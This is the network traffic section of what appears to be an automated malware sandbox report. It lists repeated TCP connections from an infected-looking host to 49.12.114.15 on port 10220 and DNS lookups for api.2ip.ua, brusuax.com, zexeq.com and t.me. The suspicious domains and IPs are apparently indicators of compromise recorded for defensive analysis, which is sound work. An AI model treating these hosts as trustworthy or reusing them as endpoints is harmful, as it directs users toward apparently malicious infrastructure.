Jan 10, 2024 15:49:21.872751951 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872813940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872848988 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872869015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872900963 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.872915983 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.872972012 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873004913 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873018980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873063087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873095989 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873133898 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873164892 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873169899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873229980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873261929 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873366117 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873449087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873487949 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873507977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873539925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873572111 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873658895 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873693943 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873755932 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873847961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873879910 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.873938084 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.873981953 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874030113 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874064922 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874110937 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874144077 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874181986 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874217987 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874233961 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874274015 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874294043 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874330997 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874383926 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874420881 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874442101 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874475956 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874507904 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874547005 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874579906 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874628067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874669075 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874701977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874737978 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874772072 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874788046 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874839067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874871969 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874887943 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874921083 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.874952078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.874993086 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875026941 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875058889 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875109911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875143051 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875204086 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875236034 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875284910 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875510931 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875555038 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875560999 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875602007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875672102 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875720978 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875736952 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875804901 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875844955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875879049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875921965 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.875930071 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875946045 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.875998020 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876036882 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876082897 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876120090 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876151085 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876187086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876218081 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876254082 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876272917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876323938 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876364946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876418114 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876456022 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876494884 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876532078 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876580000 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876686096 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876719952 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876791000 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876866102 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876900911 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.876930952 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.876961946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877016068 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877088070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877123117 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877152920 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877239943 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877274036 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877335072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877365112 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877413034 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877515078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877547979 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877578020 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877612114 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877641916 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877700090 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877733946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877763987 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877824068 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877861977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877876997 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.877918005 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.877948999 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878046989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878087044 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878115892 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878196001 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878201008 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878235102 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878304005 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878386974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878392935 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878428936 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878458023 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878495932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878546000 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878578901 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878629923 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878665924 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878747940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878782034 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.878801107 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.878890991 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.942308903 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.943290949 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.131803989 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.131870031 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.131872892 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.131959915 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.132584095 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.321003914 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.321243048 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.321367025 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.321862936 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.325156927 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.325208902 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.513947964 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.513972044 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.513983011 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.793579102 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:22.793668032 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.963589907 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:22.964332104 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.154648066 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.157727957 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.158113956 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.348175049 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.348445892 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.348546982 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.349255085 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.352569103 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.352629900 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.364233971 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.541376114 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.553081036 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.553268909 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.584913969 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.822702885 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:23.822829962 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.859524965 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:23.860557079 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.049346924 CET	10220	49758	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.049653053 CET	49758	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.051753998 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.053653955 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.054136038 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.243052006 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.243801117 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.243870020 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.244340897 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.246848106 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.435384035 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.732562065 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:24.736599922 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.908117056 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:24.908755064 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.096859932 CET	10220	49759	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.096959114 CET	49759	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.097042084 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.097126007 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.097614050 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.297991037 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.298166990 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.298345089 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.298718929 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.301086903 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.489290953 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.772074938 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:25.772186041 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.904095888 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:25.904752970 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.093641996 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.093853951 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.094054937 CET	10220	49762	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.094131947 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.094588995 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.284549952 CET	10220	49762	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.285254955 CET	10220	49762	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.285340071 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.285816908 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.288156033 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.290337086 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.476901054 CET	10220	49762	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.476989985 CET	49762	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.478880882 CET	10220	49763	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.479098082 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.487415075 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.653075933 CET	10220	49760	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.653151035 CET	49760	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.675903082 CET	10220	49763	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.676976919 CET	10220	49763	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.677072048 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.677675009 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.679663897 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.682425976 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.869380951 CET	10220	49763	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.869540930 CET	49763	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.871583939 CET	10220	49764	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:26.871685028 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:26.872114897 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.060422897 CET	10220	49764	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.060803890 CET	10220	49764	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.060892105 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.061302900 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.063515902 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.065707922 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.251867056 CET	10220	49764	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.251957893 CET	49764	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.254204988 CET	10220	49765	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.254285097 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.254779100 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.443181038 CET	10220	49765	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.443315029 CET	10220	49765	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.443471909 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.443927050 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.445854902 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.449853897 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.634623051 CET	10220	49765	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.634840012 CET	49765	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.638261080 CET	10220	49766	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.638334036 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.638926029 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.827636957 CET	10220	49766	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.827694893 CET	10220	49766	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:27.827815056 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.829583883 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.833578110 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:27.835988045 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.022939920 CET	10220	49766	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:28.023041964 CET	49766	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.024914026 CET	10220	49767	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:28.025041103 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.025583029 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.214046955 CET	10220	49767	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:28.214246035 CET	10220	49767	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:28.214327097 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.214845896 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.217263937 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:28.406178951 CET	10220	49767	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:28.406267881 CET	49767	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:50:35.774635077 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:50:35.774710894 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:50:35.774744987 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:50:35.774822950 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:51:01.254133940 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:51:01.254218102 CET	49761	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:51:01.443094015 CET	10220	49761	49.12.114.15	192.168.2.4
Jan 10, 2024 15:51:01.443209887 CET	49761	10220	192.168.2.4	49.12.114.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2024 15:48:57.657408953 CET	64242	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:48:57.825305939 CET	53	64242	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:01.033535957 CET	65523	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:01.038856030 CET	56939	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:01.645926952 CET	53	56939	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:02.028870106 CET	65523	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:03.038095951 CET	65523	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:05.036385059 CET	65523	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:05.098612070 CET	53	65523	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:05.098655939 CET	53	65523	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:05.098776102 CET	53	65523	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:05.131242037 CET	53	65523	1.1.1.1	192.168.2.4
Jan 10, 2024 15:49:11.197818041 CET	62755	53	192.168.2.4	1.1.1.1
Jan 10, 2024 15:49:11.293195963 CET	53	62755	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2024 15:48:57.657408953 CET	192.168.2.4	1.1.1.1	0x140c	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.033535957 CET	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.038856030 CET	192.168.2.4	1.1.1.1	0x5f15	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:02.028870106 CET	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:03.038095951 CET	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:05.036385059 CET	192.168.2.4	1.1.1.1	0xb23	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:11.197818041 CET	192.168.2.4	1.1.1.1	0x194a	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 10, 2024 15:48:57.825305939 CET	1.1.1.1	192.168.2.4	0x140c	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:48:57.825305939 CET	1.1.1.1	192.168.2.4	0x140c	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	175.120.254.9	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	211.119.84.112	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	211.168.53.110	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	196.188.169.138	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Jan 10, 2024 15:49:01.645926952 CET	1.1.1.1	192.168.2.4	0x5f15	No error (0)	zexeq.com	123.140.161.243	A (IP address)	IN (0x0001)	false
